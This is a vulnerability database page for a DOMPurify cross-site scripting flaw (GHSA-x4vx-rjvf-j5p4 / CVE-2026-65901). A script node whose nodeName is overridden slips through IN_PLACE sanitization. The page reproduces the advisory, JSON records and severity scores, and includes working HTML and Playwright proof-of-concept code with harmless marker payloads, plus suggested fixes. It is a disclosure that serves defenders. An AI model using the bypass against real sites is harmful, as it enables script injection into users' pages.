Vulnerability-Lookup

GHSA-X4VX-RJVF-J5P4

Vulnerability from github – Published: 2026-06-15 20:00 – Updated: 2026-07-23 14:00

Summary

DOMPurify: `IN_PLACE` mode trusts attacker-controlled `nodeName` on live non-form nodes, allowing script retention and XSS via attacker-supplied DOM objects

Details

Summary

When DOMPurify.sanitize(root, { IN_PLACE: true }) is called on an attacker-supplied live DOM node, DOMPurify still trusts currentNode.nodeName for non-form nodes in the main _sanitizeElements pipeline. A real <script> child node whose observable nodeName is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.

This affects current 3.4.6. The recent IN_PLACE hardening work covers clobbered form handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-form live nodes.

Affected

DOMPurify 3.4.6
Any caller that does DOMPurify.sanitize(node, { IN_PLACE: true }) on attacker-supplied live DOM nodes
Verified attacker-controlled node sources:
same-origin iframe → live node passed by reference
same-origin window.open() popup → live node passed by reference
same-origin foreign node adopted into the host document via document.adoptNode(node) and then sanitized in-place

Not affected:

String-input DOMPurify.sanitize(dirtyString)

Vulnerability details

Code paths

[A] — _sanitizeElements uses the instance-visible nodeName for the allow/forbid decision:

const _sanitizeElements = function (currentNode: any): boolean {
  ...
  if (_isClobbered(currentNode)) {
    _forceRemove(currentNode);
    return true;
  }

  const tagName = transformCaseFunc(currentNode.nodeName);
  ...
  if (
    FORBID_TAGS[tagName] ||
    (!(...) && !ALLOWED_TAGS[tagName])
  ) {
    ...
    _forceRemove(currentNode);
    return true;
  }
  ...
};

For non-form nodes, _isClobbered(currentNode) returns false early. The subsequent element decision therefore trusts currentNode.nodeName directly.

[B] — _isClobbered is form-specific:

const _isClobbered = function (element: Element): boolean {
  const realTagName = getNodeName ? getNodeName(element) : null;
  if (typeof realTagName !== 'string') {
    return false;
  }

  if (transformCaseFunc(realTagName) !== 'form') {
    return false;
  }

  return (...);
};

The hardening is intentionally scoped to form. Non-form nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.

Why the bypass works

The attack does not depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into DOMPurify's IN_PLACE pipeline.

If the attacker controls a same-origin subcontext (iframe or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts DOMPurify.sanitize(node, { IN_PLACE: true }) as its final sanitization step.

For the verified primitive below:

the real child node is <script>
its script text is attacker-controlled
the observable nodeName is attacker-controlled and made to appear as "DIV"
_sanitizeElements therefore classifies the real <script> child as an allowed element
the real <script> survives in the sanitized tree and executes on insertion

This primitive survives:

direct reference passing
document.adoptNode(node) followed by IN_PLACE

It does not survive:

importNode
cloneNode

because those paths materialize a fresh node and discard the hostile object semantics.

Proof of concept

(1) Minimal — runnable in a single browser context

<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
  const foreign = window.open('about:blank', '_blank', 'noopener=no');

  const host = foreign.document.createElement('div');
  const script = foreign.document.createElement('script');
  script.textContent = 'window.__pwned = 1';
  Object.defineProperty(script, 'nodeName', {
    value: 'DIV',
    configurable: true,
  });
  host.appendChild(script);

  DOMPurify.sanitize(host, { IN_PLACE: true });

  console.log('output:', host.outerHTML);
  // <div><script>window.__pwned = 1</script></div>

  window.__pwned = 0;
  document.body.appendChild(host);
  console.log('handler fired:', window.__pwned === 1); // true
</script>
</body></html>

(2) End-to-end — Playwright

const { chromium } = require('playwright');
const path = require('path');

(async () => {
  const browser = await chromium.launch();
  const page = await browser.newPage();
  await page.goto('about:blank');
  await page.addScriptTag({ path: path.resolve('dist/purify.js') });

  const result = await page.evaluate(async () => {
    window.__hits = [];

    const foreign = window.open('about:blank', '_blank', 'noopener=no');
    const host = foreign.document.createElement('div');
    const script = foreign.document.createElement('script');
    script.textContent = 'top.__hits.push("script-fired")';
    Object.defineProperty(script, 'nodeName', {
      value: 'DIV',
      configurable: true,
    });
    host.appendChild(script);

    DOMPurify.sanitize(host, { IN_PLACE: true });
    document.body.appendChild(host);

    return {
      version: DOMPurify.version,
      output: host.outerHTML,
      fired: window.__hits.includes('script-fired'),
    };
  });

  console.log(result);
  await browser.close();
})();

Observed:

Chromium / Firefox / WebKit

{
  version: '3.4.6',
  output: '<div><script>top.__hits.push("script-fired")</script></div>',
  fired: true
}

Impact

Direct

XSS via retained real <script> nodes inside attacker-supplied live DOM objects.

Any consumer that uses DOMPurify.sanitize(node, { IN_PLACE: true }) as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.

The typical pattern is:

// attacker-controlled same-origin subcontext prepares a live node
const foreignNode = attackerFrame.contentWindow.makeNode();

// host treats DOMPurify as the last security gate
DOMPurify.sanitize(foreignNode, { IN_PLACE: true });
container.appendChild(foreignNode);

If foreignNode is a hostile live DOM object whose real child is <script> but whose observable nodeName is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.

Indirect / second-order

Applications that accept same-origin plugin / extension / widget DOM and rely on IN_PLACE as the final sanitization step
Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization

Suggested fix

Two minimal-risk options:

Stop trusting instance-visible nodeName for the element decision in IN_PLACE.

Use the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.

In other words, the main pipeline should not do:

const tagName = transformCaseFunc(currentNode.nodeName);

on hostile live objects.

Generalize hostile-node detection beyond form.

The current _isClobbered() logic is form-specific. A more defensive approach would reject or strictly sanitize any IN_PLACE node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:

nodeName
attributes
childNodes

Either approach would close the verified primitive above.

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-65901"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T20:00:02Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\nWhen `DOMPurify.sanitize(root, { IN_PLACE: true })` is called on an attacker-supplied live DOM node, `DOMPurify` still trusts `currentNode.nodeName` for non-`form` nodes in the main `_sanitizeElements` pipeline. A real `\u003cscript\u003e` child node whose observable `nodeName` is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.\n\nThis affects current `3.4.6`. The recent `IN_PLACE` hardening work covers clobbered `form` handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-`form` live nodes.\n\n## Affected\n\n- DOMPurify `3.4.6`\n- Any caller that does `DOMPurify.sanitize(node, { IN_PLACE: true })` on attacker-supplied live DOM nodes\n- Verified attacker-controlled node sources:\n  - same-origin `iframe` \u2192 live node passed by reference\n  - same-origin `window.open()` popup \u2192 live node passed by reference\n  - same-origin foreign node adopted into the host document via `document.adoptNode(node)` and then sanitized in-place\n\nNot affected:\n\n- String-input `DOMPurify.sanitize(dirtyString)`\n\n## Vulnerability details\n\n### Code paths\n\n[A] \u2014 `_sanitizeElements` uses the instance-visible `nodeName` for the allow/forbid decision:\n\n```ts\nconst _sanitizeElements = function (currentNode: any): boolean {\n  ...\n  if (_isClobbered(currentNode)) {\n    _forceRemove(currentNode);\n    return true;\n  }\n\n  const tagName = transformCaseFunc(currentNode.nodeName);\n  ...\n  if (\n    FORBID_TAGS[tagName] ||\n    (!(...) \u0026\u0026 !ALLOWED_TAGS[tagName])\n  ) {\n    ...\n    _forceRemove(currentNode);\n    return true;\n  }\n  ...\n};\n```\n\nFor non-`form` nodes, `_isClobbered(currentNode)` returns `false` early. The subsequent element decision therefore trusts `currentNode.nodeName` directly.\n\n[B] \u2014 `_isClobbered` is `form`-specific:\n\n```ts\nconst _isClobbered = function (element: Element): boolean {\n  const realTagName = getNodeName ? getNodeName(element) : null;\n  if (typeof realTagName !== \u0027string\u0027) {\n    return false;\n  }\n\n  if (transformCaseFunc(realTagName) !== \u0027form\u0027) {\n    return false;\n  }\n\n  return (...);\n};\n```\n\nThe hardening is intentionally scoped to `form`. Non-`form` nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.\n\n### Why the bypass works\n\nThe attack does **not** depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into `DOMPurify`\u0027s `IN_PLACE` pipeline.\n\nIf the attacker controls a same-origin subcontext (`iframe` or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts `DOMPurify.sanitize(node, { IN_PLACE: true })` as its final sanitization step.\n\nFor the verified primitive below:\n\n- the real child node is `\u003cscript\u003e`\n- its script text is attacker-controlled\n- the observable `nodeName` is attacker-controlled and made to appear as `\"DIV\"`\n- `_sanitizeElements` therefore classifies the real `\u003cscript\u003e` child as an allowed element\n- the real `\u003cscript\u003e` survives in the sanitized tree and executes on insertion\n\nThis primitive survives:\n\n- direct reference passing\n- `document.adoptNode(node)` followed by `IN_PLACE`\n\nIt does **not** survive:\n\n- `importNode`\n- `cloneNode`\n\nbecause those paths materialize a fresh node and discard the hostile object semantics.\n\n## Proof of concept\n\n### (1) Minimal \u2014 runnable in a single browser context\n\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cscript src=\"dist/purify.js\"\u003e\u003c/script\u003e\n\u003cscript\u003e\n  const foreign = window.open(\u0027about:blank\u0027, \u0027_blank\u0027, \u0027noopener=no\u0027);\n\n  const host = foreign.document.createElement(\u0027div\u0027);\n  const script = foreign.document.createElement(\u0027script\u0027);\n  script.textContent = \u0027window.__pwned = 1\u0027;\n  Object.defineProperty(script, \u0027nodeName\u0027, {\n    value: \u0027DIV\u0027,\n    configurable: true,\n  });\n  host.appendChild(script);\n\n  DOMPurify.sanitize(host, { IN_PLACE: true });\n\n  console.log(\u0027output:\u0027, host.outerHTML);\n  // \u003cdiv\u003e\u003cscript\u003ewindow.__pwned = 1\u003c/script\u003e\u003c/div\u003e\n\n  window.__pwned = 0;\n  document.body.appendChild(host);\n  console.log(\u0027handler fired:\u0027, window.__pwned === 1); // true\n\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n### (2) End-to-end \u2014 Playwright\n\n```js\nconst { chromium } = require(\u0027playwright\u0027);\nconst path = require(\u0027path\u0027);\n\n(async () =\u003e {\n  const browser = await chromium.launch();\n  const page = await browser.newPage();\n  await page.goto(\u0027about:blank\u0027);\n  await page.addScriptTag({ path: path.resolve(\u0027dist/purify.js\u0027) });\n\n  const result = await page.evaluate(async () =\u003e {\n    window.__hits = [];\n\n    const foreign = window.open(\u0027about:blank\u0027, \u0027_blank\u0027, \u0027noopener=no\u0027);\n    const host = foreign.document.createElement(\u0027div\u0027);\n    const script = foreign.document.createElement(\u0027script\u0027);\n    script.textContent = \u0027top.__hits.push(\"script-fired\")\u0027;\n    Object.defineProperty(script, \u0027nodeName\u0027, {\n      value: \u0027DIV\u0027,\n      configurable: true,\n    });\n    host.appendChild(script);\n\n    DOMPurify.sanitize(host, { IN_PLACE: true });\n    document.body.appendChild(host);\n\n    return {\n      version: DOMPurify.version,\n      output: host.outerHTML,\n      fired: window.__hits.includes(\u0027script-fired\u0027),\n    };\n  });\n\n  console.log(result);\n  await browser.close();\n})();\n```\n\nObserved:\n\n- Chromium / Firefox / WebKit\n\n```js\n{\n  version: \u00273.4.6\u0027,\n  output: \u0027\u003cdiv\u003e\u003cscript\u003etop.__hits.push(\"script-fired\")\u003c/script\u003e\u003c/div\u003e\u0027,\n  fired: true\n}\n```\n\n## Impact\n\n### Direct\n\nXSS via retained real `\u003cscript\u003e` nodes inside attacker-supplied live DOM objects.\n\nAny consumer that uses `DOMPurify.sanitize(node, { IN_PLACE: true })` as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.\n\nThe typical pattern is:\n\n```js\n// attacker-controlled same-origin subcontext prepares a live node\nconst foreignNode = attackerFrame.contentWindow.makeNode();\n\n// host treats DOMPurify as the last security gate\nDOMPurify.sanitize(foreignNode, { IN_PLACE: true });\ncontainer.appendChild(foreignNode);\n```\n\nIf `foreignNode` is a hostile live DOM object whose real child is `\u003cscript\u003e` but whose observable `nodeName` is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.\n\n### Indirect / second-order\n\n- Applications that accept same-origin plugin / extension / widget DOM and rely on `IN_PLACE` as the final sanitization step\n- Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization\n\n## Suggested fix\n\nTwo minimal-risk options:\n\n1. Stop trusting instance-visible `nodeName` for the element decision in `IN_PLACE`.\n\nUse the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.\n\nIn other words, the main pipeline should not do:\n\n```ts\nconst tagName = transformCaseFunc(currentNode.nodeName);\n```\n\non hostile live objects.\n\n2. Generalize hostile-node detection beyond `form`.\n\nThe current `_isClobbered()` logic is `form`-specific. A more defensive approach would reject or strictly sanitize any `IN_PLACE` node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:\n\n- `nodeName`\n- `attributes`\n- `childNodes`\n\nEither approach would close the verified primitive above.",
  "id": "GHSA-x4vx-rjvf-j5p4",
  "modified": "2026-07-23T14:00:48Z",
  "published": "2026-06-15T20:00:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-x4vx-rjvf-j5p4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "DOMPurify: `IN_PLACE` mode trusts attacker-controlled `nodeName` on live non-form nodes, allowing script retention and XSS via attacker-supplied DOM objects"
}

CVE-2026-65901 (GCVE-0-2026-65901)

Vulnerability from cvelistv5 – Published: 2026-07-23 13:16 – Updated: 2026-07-23 13:39

Title

DOMPurify 3.4.6 Cross-Site Scripting via IN_PLACE nodeName

Summary

DOMPurify through 3.4.6 contains a cross-site scripting vulnerability in IN_PLACE mode that trusts attacker-controlled nodeName on live non-form nodes. Attackers can supply hostile live DOM objects with real script children whose observable nodeName is clobbered to appear as allowed elements, causing scripts to execute when the sanitized tree is inserted into a live document.

Severity

5.1 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-23 13:39 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

VulnCheck mitre root

References

2 references

URL	Tags
https://github.com/cure53/DOMPurify/security/advi…	vendor-advisory
https://www.vulncheck.com/advisories/dompurify-cr…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
cure53	DOMPurify	Affected: 0 , ≤ 3.4.6 (semver) cpe:2.3:a:cure53:dompurify::::::::

Date Public

2026-05-27 00:00

Show details on NVD website

JSON

To clipboard

{
  "containers": {
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      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-65901",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-23T13:39:27.449020Z",
                "version": "2.0.3"
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        },
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            ],
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        ],
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      }
    ],
    "cna": {
      "affected": [
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          "defaultStatus": "unaffected",
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            }
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      "cpeApplicability": [
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          "nodes": [
            {
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          "value": "DOMPurify through 3.4.6 contains a cross-site scripting vulnerability in IN_PLACE mode that trusts attacker-controlled nodeName on live non-form nodes. Attackers can supply hostile live DOM objects with real script children whose observable nodeName is clobbered to appear as allowed elements, causing scripts to execute when the sanitized tree is inserted into a live document."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "NOT_DEFINED",
            "Recovery": "NOT_DEFINED",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 5.1,
            "baseSeverity": "MEDIUM",
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          "tags": [
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}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-X4VX-RJVF-J5P4

Summary

Affected

Vulnerability details

Code paths

Why the bypass works

Proof of concept

(1) Minimal — runnable in a single browser context

(2) End-to-end — Playwright

Impact

Direct

Indirect / second-order

Suggested fix

CVE-2026-65901 (GCVE-0-2026-65901)

Tags

Sightings

Nomenclature

Related by attack behaviour